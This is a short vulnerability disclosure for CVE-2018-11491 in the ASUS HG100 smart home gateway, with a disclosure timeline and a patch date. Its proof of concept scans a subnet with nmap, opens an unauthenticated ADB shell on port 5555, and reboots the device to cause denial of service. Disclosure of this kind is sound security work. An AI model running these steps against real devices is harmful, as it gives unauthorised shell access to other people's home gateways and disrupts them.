CVE-2018-11491

ASUS HG100 exists unauthenticated access vulnerability

Posted by Mars Cheng on July 25, 2018

Description: ASUS HG100 devices with firmware before 1.05.12 allow unauthenticated access, leading to remote command execution.

This vulnerability was discovered by Mars Cheng at National Center for Cyber Security Technology (NCCST)



Introduction ASUS HG100 SmartHome GateWay

Length x width x height Weight Wireless connection
152 x 67 x 167 mm 256g WiFi 802.11b/g/n ; ZigBee PRO ; BlueTooth 4.0

Proof of Concept

1.Confirm IP

nmap --scanflags SYN 192.168.0.0/24
  • Port 5555 open

2.Connect port 5555 with ADB

adb connect 192.168.0.100
adb shell
id
dumpstate
  • Show system process detail

3.Reboot device and Denial of Service

reboot
  • Check device status

Timeline

  • February 6, 2018 Reported to ASUS Security
  • July 3, 2018 Patch released

Reference

[1] https://www.asus.com/tw/News/qnEosWKPVDpmOeqL
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11491